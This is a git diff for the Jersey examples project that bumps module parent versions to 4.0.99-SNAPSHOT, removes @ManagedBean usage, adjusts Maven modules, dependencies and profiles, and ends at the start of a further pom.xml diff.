diff --git a/examples/entity-filtering-selectable/pom.xml b/examples/entity-filtering-selectable/pom.xml
index 7291abb..b8e8dfa 100644
--- a/examples/entity-filtering-selectable/pom.xml
+++ b/examples/entity-filtering-selectable/pom.xml
@@ -18,7 +18,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>entity-filtering-selectable</artifactId>
diff --git a/examples/entity-filtering/pom.xml b/examples/entity-filtering/pom.xml
index 359bd51..e96d922 100644
--- a/examples/entity-filtering/pom.xml
+++ b/examples/entity-filtering/pom.xml
@@ -18,7 +18,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>entity-filtering</artifactId>
diff --git a/examples/exception-mapping/pom.xml b/examples/exception-mapping/pom.xml
index 8fa1804..d164b60 100644
--- a/examples/exception-mapping/pom.xml
+++ b/examples/exception-mapping/pom.xml
@@ -17,7 +17,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>exception-mapping</artifactId>
diff --git a/examples/extended-wadl-webapp/pom.xml b/examples/extended-wadl-webapp/pom.xml
index fce24b1..dc19ad9 100644
--- a/examples/extended-wadl-webapp/pom.xml
+++ b/examples/extended-wadl-webapp/pom.xml
@@ -19,7 +19,7 @@
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>webapp-example-parent</artifactId>
         <relativePath>../webapp-example-parent/pom.xml</relativePath>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>extended-wadl-webapp</artifactId>
diff --git a/examples/freemarker-webapp/pom.xml b/examples/freemarker-webapp/pom.xml
index a5c09ac..6c6b82b 100644
--- a/examples/freemarker-webapp/pom.xml
+++ b/examples/freemarker-webapp/pom.xml
@@ -19,7 +19,7 @@
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>webapp-example-parent</artifactId>
         <relativePath>../webapp-example-parent/pom.xml</relativePath>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>freemarker-webapp</artifactId>
diff --git a/examples/groovy/pom.xml b/examples/groovy/pom.xml
index c16feed..181b6e4 100644
--- a/examples/groovy/pom.xml
+++ b/examples/groovy/pom.xml
@@ -16,7 +16,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
     <artifactId>groovy</artifactId>
     <packaging>jar</packaging>
diff --git a/examples/helloworld-benchmark/pom.xml b/examples/helloworld-benchmark/pom.xml
index 484425d..2e8a938 100644
--- a/examples/helloworld-benchmark/pom.xml
+++ b/examples/helloworld-benchmark/pom.xml
@@ -17,7 +17,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>helloworld-benchmark</artifactId>
diff --git a/examples/helloworld-cdi2-se/pom.xml b/examples/helloworld-cdi2-se/pom.xml
index 2ce6028..e0592ca 100644
--- a/examples/helloworld-cdi2-se/pom.xml
+++ b/examples/helloworld-cdi2-se/pom.xml
@@ -17,7 +17,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>helloworld-cdi2-se</artifactId>
diff --git a/examples/helloworld-netty/pom.xml b/examples/helloworld-netty/pom.xml
index 356b250..eaf8dee 100644
--- a/examples/helloworld-netty/pom.xml
+++ b/examples/helloworld-netty/pom.xml
@@ -17,7 +17,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>helloworld-netty</artifactId>
diff --git a/examples/helloworld-programmatic/pom.xml b/examples/helloworld-programmatic/pom.xml
index e599d69..e03478a 100644
--- a/examples/helloworld-programmatic/pom.xml
+++ b/examples/helloworld-programmatic/pom.xml
@@ -17,7 +17,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>helloworld-programmatic</artifactId>
diff --git a/examples/helloworld-pure-jax-rs/pom.xml b/examples/helloworld-pure-jax-rs/pom.xml
index a57ae55..7b52712 100644
--- a/examples/helloworld-pure-jax-rs/pom.xml
+++ b/examples/helloworld-pure-jax-rs/pom.xml
@@ -17,7 +17,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>helloworld-pure-jax-rs</artifactId>
diff --git a/examples/helloworld-spring-annotations/pom.xml b/examples/helloworld-spring-annotations/pom.xml
index 31a7e88..281394b 100644
--- a/examples/helloworld-spring-annotations/pom.xml
+++ b/examples/helloworld-spring-annotations/pom.xml
@@ -15,7 +15,7 @@
     <parent>
         <artifactId>project</artifactId>
         <groupId>org.glassfish.jersey.examples</groupId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
     <modelVersion>4.0.0</modelVersion>
     <artifactId>helloworld-spring-annotations</artifactId>
diff --git a/examples/helloworld-spring-webapp/pom.xml b/examples/helloworld-spring-webapp/pom.xml
index 4b4937e..c7d1eb7 100644
--- a/examples/helloworld-spring-webapp/pom.xml
+++ b/examples/helloworld-spring-webapp/pom.xml
@@ -25,7 +25,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>helloworld-spring-webapp</artifactId>
diff --git a/examples/helloworld-webapp/pom.xml b/examples/helloworld-webapp/pom.xml
index 979ad14..a2084ec 100644
--- a/examples/helloworld-webapp/pom.xml
+++ b/examples/helloworld-webapp/pom.xml
@@ -19,7 +19,7 @@
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>webapp-example-parent</artifactId>
         <relativePath>../webapp-example-parent/pom.xml</relativePath>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>helloworld-webapp</artifactId>
diff --git a/examples/helloworld-weld/pom.xml b/examples/helloworld-weld/pom.xml
index 525986c..9290c8a 100644
--- a/examples/helloworld-weld/pom.xml
+++ b/examples/helloworld-weld/pom.xml
@@ -17,7 +17,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>helloworld-weld</artifactId>
diff --git a/examples/helloworld-weld/src/main/java/org/glassfish/jersey/examples/helloworld/App.java b/examples/helloworld-weld/src/main/java/org/glassfish/jersey/examples/helloworld/App.java
index e3b5343..98e6f3e 100644
--- a/examples/helloworld-weld/src/main/java/org/glassfish/jersey/examples/helloworld/App.java
+++ b/examples/helloworld-weld/src/main/java/org/glassfish/jersey/examples/helloworld/App.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2010, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Distribution License v. 1.0, which is available at
@@ -18,8 +18,6 @@
 import java.util.logging.Level;
 import java.util.logging.Logger;
 
-import jakarta.annotation.ManagedBean;
-import jakarta.enterprise.context.ApplicationScoped;
 import jakarta.ws.rs.core.Application;
 import jakarta.ws.rs.core.Context;
 import jakarta.ws.rs.core.UriInfo;
@@ -70,7 +68,6 @@
     /**
      * JAX-RS application defined as a CDI bean.
      */
-    @ManagedBean
     public static class JaxRsApplication extends Application {
 
         @Context
diff --git a/examples/helloworld/pom.xml b/examples/helloworld/pom.xml
index 56708f7..bed850c 100644
--- a/examples/helloworld/pom.xml
+++ b/examples/helloworld/pom.xml
@@ -17,7 +17,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>helloworld</artifactId>
diff --git a/examples/http-patch/pom.xml b/examples/http-patch/pom.xml
index 80db3f3..da243fd 100644
--- a/examples/http-patch/pom.xml
+++ b/examples/http-patch/pom.xml
@@ -17,7 +17,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>http-patch</artifactId>
diff --git a/examples/http-trace/pom.xml b/examples/http-trace/pom.xml
index 2132d42..4cc1f48 100644
--- a/examples/http-trace/pom.xml
+++ b/examples/http-trace/pom.xml
@@ -17,7 +17,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>http-trace</artifactId>
diff --git a/examples/https-clientserver-grizzly/pom.xml b/examples/https-clientserver-grizzly/pom.xml
index ece4643..920961f 100644
--- a/examples/https-clientserver-grizzly/pom.xml
+++ b/examples/https-clientserver-grizzly/pom.xml
@@ -18,7 +18,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>https-clientserver-grizzly</artifactId>
diff --git a/examples/https-server-glassfish/pom.xml b/examples/https-server-glassfish/pom.xml
index 8075f5d..06cdcf9 100644
--- a/examples/https-server-glassfish/pom.xml
+++ b/examples/https-server-glassfish/pom.xml
@@ -19,7 +19,7 @@
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>webapp-example-parent</artifactId>
         <relativePath>../webapp-example-parent/pom.xml</relativePath>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>https-server-glassfish</artifactId>
diff --git a/examples/java8-webapp/pom.xml b/examples/java8-webapp/pom.xml
index 99584a4..79875d0 100644
--- a/examples/java8-webapp/pom.xml
+++ b/examples/java8-webapp/pom.xml
@@ -18,7 +18,7 @@
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>webapp-example-parent</artifactId>
         <relativePath>../webapp-example-parent/pom.xml</relativePath>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>java8-webapp</artifactId>
diff --git a/examples/jaxb/pom.xml b/examples/jaxb/pom.xml
index 3cca828..64bd939 100644
--- a/examples/jaxb/pom.xml
+++ b/examples/jaxb/pom.xml
@@ -16,7 +16,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jaxb</artifactId>
diff --git a/examples/jaxrs-types-injection/pom.xml b/examples/jaxrs-types-injection/pom.xml
index 1c2c80a..499fc41 100644
--- a/examples/jaxrs-types-injection/pom.xml
+++ b/examples/jaxrs-types-injection/pom.xml
@@ -17,7 +17,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jaxrs-types-injection</artifactId>
diff --git a/examples/jersey-ejb/pom.xml b/examples/jersey-ejb/pom.xml
index d99f597..723a7b0 100644
--- a/examples/jersey-ejb/pom.xml
+++ b/examples/jersey-ejb/pom.xml
@@ -19,7 +19,7 @@
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>webapp-example-parent</artifactId>
         <relativePath>../webapp-example-parent/pom.xml</relativePath>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-ejb</artifactId>
diff --git a/examples/json-binding-webapp/pom.xml b/examples/json-binding-webapp/pom.xml
index 43fa250..d75f755 100644
--- a/examples/json-binding-webapp/pom.xml
+++ b/examples/json-binding-webapp/pom.xml
@@ -16,7 +16,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>json-binding-webapp</artifactId>
diff --git a/examples/json-jackson/pom.xml b/examples/json-jackson/pom.xml
index 0c8a048..88d6dd0 100644
--- a/examples/json-jackson/pom.xml
+++ b/examples/json-jackson/pom.xml
@@ -17,7 +17,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>json-jackson</artifactId>
diff --git a/examples/json-jettison/pom.xml b/examples/json-jettison/pom.xml
index 0ce37b9..f24d168 100644
--- a/examples/json-jettison/pom.xml
+++ b/examples/json-jettison/pom.xml
@@ -17,7 +17,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>json-jettison</artifactId>
diff --git a/examples/json-moxy/pom.xml b/examples/json-moxy/pom.xml
index 4df878e..1b429a9 100644
--- a/examples/json-moxy/pom.xml
+++ b/examples/json-moxy/pom.xml
@@ -17,7 +17,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>json-moxy</artifactId>
diff --git a/examples/json-processing-webapp/pom.xml b/examples/json-processing-webapp/pom.xml
index 7f71dfc..2a64b93 100644
--- a/examples/json-processing-webapp/pom.xml
+++ b/examples/json-processing-webapp/pom.xml
@@ -19,7 +19,7 @@
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>webapp-example-parent</artifactId>
         <relativePath>../webapp-example-parent/pom.xml</relativePath>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>json-processing-webapp</artifactId>
diff --git a/examples/json-with-padding/pom.xml b/examples/json-with-padding/pom.xml
index bbb310d..7158ad7 100644
--- a/examples/json-with-padding/pom.xml
+++ b/examples/json-with-padding/pom.xml
@@ -18,7 +18,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>json-with-padding</artifactId>
diff --git a/examples/managed-beans-webapp/pom.xml b/examples/managed-beans-webapp/pom.xml
index f30f8aa..7280d61 100644
--- a/examples/managed-beans-webapp/pom.xml
+++ b/examples/managed-beans-webapp/pom.xml
@@ -19,7 +19,7 @@
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>webapp-example-parent</artifactId>
         <relativePath>../webapp-example-parent/pom.xml</relativePath>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>managed-beans-webapp</artifactId>
diff --git a/examples/managed-client-simple-webapp/pom.xml b/examples/managed-client-simple-webapp/pom.xml
index c151b6a..69e4161 100644
--- a/examples/managed-client-simple-webapp/pom.xml
+++ b/examples/managed-client-simple-webapp/pom.xml
@@ -19,7 +19,7 @@
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>webapp-example-parent</artifactId>
         <relativePath>../webapp-example-parent/pom.xml</relativePath>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>managed-client-simple-webapp</artifactId>
diff --git a/examples/managed-client-webapp/pom.xml b/examples/managed-client-webapp/pom.xml
index 3b35c8a..9fee3fc 100644
--- a/examples/managed-client-webapp/pom.xml
+++ b/examples/managed-client-webapp/pom.xml
@@ -19,7 +19,7 @@
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>webapp-example-parent</artifactId>
         <relativePath>../webapp-example-parent/pom.xml</relativePath>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>managed-client-webapp</artifactId>
diff --git a/examples/managed-client/pom.xml b/examples/managed-client/pom.xml
index 8b3bb3e..bb64ff9 100644
--- a/examples/managed-client/pom.xml
+++ b/examples/managed-client/pom.xml
@@ -17,7 +17,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>managed-client</artifactId>
diff --git a/examples/micrometer/pom.xml b/examples/micrometer/pom.xml
index 18ca982..adba4e1 100644
--- a/examples/micrometer/pom.xml
+++ b/examples/micrometer/pom.xml
@@ -16,7 +16,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-micrometer-webapp</artifactId>
diff --git a/examples/micrometer/src/main/java/org/glassfish/jersey/examples/micrometer/MetricsResourceConfig.java b/examples/micrometer/src/main/java/org/glassfish/jersey/examples/micrometer/MetricsResourceConfig.java
index bbaf91b..f1f9a3a 100644
--- a/examples/micrometer/src/main/java/org/glassfish/jersey/examples/micrometer/MetricsResourceConfig.java
+++ b/examples/micrometer/src/main/java/org/glassfish/jersey/examples/micrometer/MetricsResourceConfig.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2023, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Distribution License v. 1.0, which is available at
@@ -10,7 +10,7 @@
 
 package org.glassfish.jersey.examples.micrometer;
 
-import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.inject.hk2.AbstractBinder;
 import org.glassfish.jersey.server.ResourceConfig;
 
 import jakarta.ws.rs.ApplicationPath;
diff --git a/examples/multipart-webapp/pom.xml b/examples/multipart-webapp/pom.xml
index d22e8d6..6490460 100644
--- a/examples/multipart-webapp/pom.xml
+++ b/examples/multipart-webapp/pom.xml
@@ -19,7 +19,7 @@
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>webapp-example-parent</artifactId>
         <relativePath>../webapp-example-parent/pom.xml</relativePath>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>multipart-webapp</artifactId>
diff --git a/examples/oauth-client-twitter/pom.xml b/examples/oauth-client-twitter/pom.xml
index 0e7a847..271dd60 100644
--- a/examples/oauth-client-twitter/pom.xml
+++ b/examples/oauth-client-twitter/pom.xml
@@ -15,7 +15,7 @@
     <parent>
         <artifactId>project</artifactId>
         <groupId>org.glassfish.jersey.examples</groupId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
     <modelVersion>4.0.0</modelVersion>
 
diff --git a/examples/open-tracing/pom.xml b/examples/open-tracing/pom.xml
index 90fb9ca..5b2e5ad 100644
--- a/examples/open-tracing/pom.xml
+++ b/examples/open-tracing/pom.xml
@@ -17,7 +17,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>open-tracing</artifactId>
diff --git a/examples/osgi-helloworld-webapp/additional-bundle/pom.xml b/examples/osgi-helloworld-webapp/additional-bundle/pom.xml
index 2393524..b76e273 100644
--- a/examples/osgi-helloworld-webapp/additional-bundle/pom.xml
+++ b/examples/osgi-helloworld-webapp/additional-bundle/pom.xml
@@ -18,7 +18,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>osgi-helloworld-webapp</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <groupId>org.glassfish.jersey.examples.osgi-helloworld-webapp</groupId>
diff --git a/examples/osgi-helloworld-webapp/alternate-version-bundle/pom.xml b/examples/osgi-helloworld-webapp/alternate-version-bundle/pom.xml
index 458a1cf..60611b0 100644
--- a/examples/osgi-helloworld-webapp/alternate-version-bundle/pom.xml
+++ b/examples/osgi-helloworld-webapp/alternate-version-bundle/pom.xml
@@ -18,7 +18,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>osgi-helloworld-webapp</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <groupId>org.glassfish.jersey.examples.osgi-helloworld-webapp</groupId>
diff --git a/examples/osgi-helloworld-webapp/functional-test/pom.xml b/examples/osgi-helloworld-webapp/functional-test/pom.xml
index 81ac944..f58cc00 100644
--- a/examples/osgi-helloworld-webapp/functional-test/pom.xml
+++ b/examples/osgi-helloworld-webapp/functional-test/pom.xml
@@ -18,7 +18,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>osgi-helloworld-webapp</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <groupId>org.glassfish.jersey.examples.osgi-helloworld-webapp</groupId>
diff --git a/examples/osgi-helloworld-webapp/lib-bundle/pom.xml b/examples/osgi-helloworld-webapp/lib-bundle/pom.xml
index 743a5c1..be2be09 100644
--- a/examples/osgi-helloworld-webapp/lib-bundle/pom.xml
+++ b/examples/osgi-helloworld-webapp/lib-bundle/pom.xml
@@ -18,7 +18,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>osgi-helloworld-webapp</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <groupId>org.glassfish.jersey.examples.osgi-helloworld-webapp</groupId>
diff --git a/examples/osgi-helloworld-webapp/pom.xml b/examples/osgi-helloworld-webapp/pom.xml
index 3775e19..511634a 100644
--- a/examples/osgi-helloworld-webapp/pom.xml
+++ b/examples/osgi-helloworld-webapp/pom.xml
@@ -18,7 +18,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>osgi-helloworld-webapp</artifactId>
diff --git a/examples/osgi-helloworld-webapp/war-bundle/pom.xml b/examples/osgi-helloworld-webapp/war-bundle/pom.xml
index 790c4ab..f097f37 100644
--- a/examples/osgi-helloworld-webapp/war-bundle/pom.xml
+++ b/examples/osgi-helloworld-webapp/war-bundle/pom.xml
@@ -18,7 +18,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>osgi-helloworld-webapp</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <groupId>org.glassfish.jersey.examples.osgi-helloworld-webapp</groupId>
diff --git a/examples/osgi-http-service/functional-test/pom.xml b/examples/osgi-http-service/functional-test/pom.xml
index 6e74fc8..bceb6e8 100644
--- a/examples/osgi-http-service/functional-test/pom.xml
+++ b/examples/osgi-http-service/functional-test/pom.xml
@@ -18,7 +18,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>osgi-http-service</artifactId>
-        <version>3.1.0-SNAPSHOT</version>
+        <version>4.0.0-SNAPSHOT</version>
     </parent>
 
     <groupId>org.glassfish.jersey.examples.osgi-http-service</groupId>
@@ -159,6 +159,11 @@
             <artifactId>jakarta.xml.bind-api</artifactId>
             <scope>test</scope>
         </dependency>
+        <dependency>
+            <groupId>org.eclipse.angus</groupId>
+            <artifactId>angus-activation</artifactId>
+            <scope>test</scope>
+        </dependency>
     </dependencies>
 
     <build>
@@ -233,38 +238,6 @@
 
     <profiles>
         <profile>
-            <id>testsJdk11</id>
-            <activation>
-                <jdk>[11,)</jdk>
-            </activation>
-            <dependencies>
-                <dependency>
-                    <groupId>org.eclipse.angus</groupId>
-                    <artifactId>angus-activation</artifactId>
-                </dependency>
-            </dependencies>
-        </profile>
-        <profile>
-            <id>jdk8</id>
-            <activation>
-                <jdk>1.8</jdk>
-            </activation>
-            <build>
-                <plugins>
-                    <plugin>
-                        <groupId>org.apache.maven.plugins</groupId>
-                        <artifactId>maven-surefire-plugin</artifactId>
-                        <configuration>
-                            <excludes>
-                                <exclude>**/GrizzlyHttpServiceFelixTest.java</exclude>
-                                <exclude>**/JettyHttpServiceFelixTest.java</exclude>
-                            </excludes>
-                        </configuration>
-                    </plugin>
-                </plugins>
-            </build>
-        </profile>
-        <profile>
             <id>release</id>
             <!-- do not create source zip bundles -->
             <build>
diff --git a/examples/pom.xml b/examples/pom.xml
index 8e2fa59..1a62f49 100644
--- a/examples/pom.xml
+++ b/examples/pom.xml
@@ -18,7 +18,7 @@
     <parent>
         <groupId>org.glassfish.jersey</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <licenses>
@@ -77,6 +77,8 @@
         <module>helloworld-netty</module>
         <module>helloworld-programmatic</module>
         <module>helloworld-pure-jax-rs</module>
+        <module>helloworld-spring-webapp</module>
+        <module>helloworld-spring-annotations</module>
         <module>helloworld-webapp</module>
         <module>helloworld-weld</module>
         <module>http-patch</module>
@@ -93,7 +95,7 @@
         <module>json-moxy</module>
         <module>json-processing-webapp</module>
         <module>json-with-padding</module>
-        <module>managed-beans-webapp</module>
+<!--        <module>managed-beans-webapp</module> No @ManagedBean any longer-->
         <module>managed-client</module>
         <module>managed-client-webapp</module>
         <module>managed-client-simple-webapp</module>
@@ -279,18 +281,4 @@
             </resource>
         </resources>
     </build>
-
-    <profiles>
-        <profile>
-            <id>jdk17</id>
-            <activation>
-                <jdk>[17,)</jdk>
-            </activation>
-            <modules>
-                <module>helloworld-spring-webapp</module>
-                <module>helloworld-spring-annotations</module>
-            </modules>
-        </profile>
-    </profiles>
-
 </project>
diff --git a/examples/reload/pom.xml b/examples/reload/pom.xml
index 041f1b2..b5efd3d 100644
--- a/examples/reload/pom.xml
+++ b/examples/reload/pom.xml
@@ -18,7 +18,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>reload</artifactId>
diff --git a/examples/rest31-sebootstrap-multipart/pom.xml b/examples/rest31-sebootstrap-multipart/pom.xml
index 16304cf..93fa450 100644
--- a/examples/rest31-sebootstrap-multipart/pom.xml
+++ b/examples/rest31-sebootstrap-multipart/pom.xml
@@ -18,7 +18,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>rest31-sebootstrap-multipart</artifactId>
diff --git a/examples/rx-client-webapp/pom.xml b/examples/rx-client-webapp/pom.xml
index d96ab76..9b5983f 100644
--- a/examples/rx-client-webapp/pom.xml
+++ b/examples/rx-client-webapp/pom.xml
@@ -18,7 +18,7 @@
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>webapp-example-parent</artifactId>
         <relativePath>../webapp-example-parent/pom.xml</relativePath>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>rx-client-webapp</artifactId>
diff --git a/examples/server-async-managed/pom.xml b/examples/server-async-managed/pom.xml
index 32c11a8..c2405b1 100644
--- a/examples/server-async-managed/pom.xml
+++ b/examples/server-async-managed/pom.xml
@@ -17,7 +17,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>server-async-managed</artifactId>
diff --git a/examples/server-async-standalone/client/pom.xml b/examples/server-async-standalone/client/pom.xml
index 2383ee5..1551e52 100644
--- a/examples/server-async-standalone/client/pom.xml
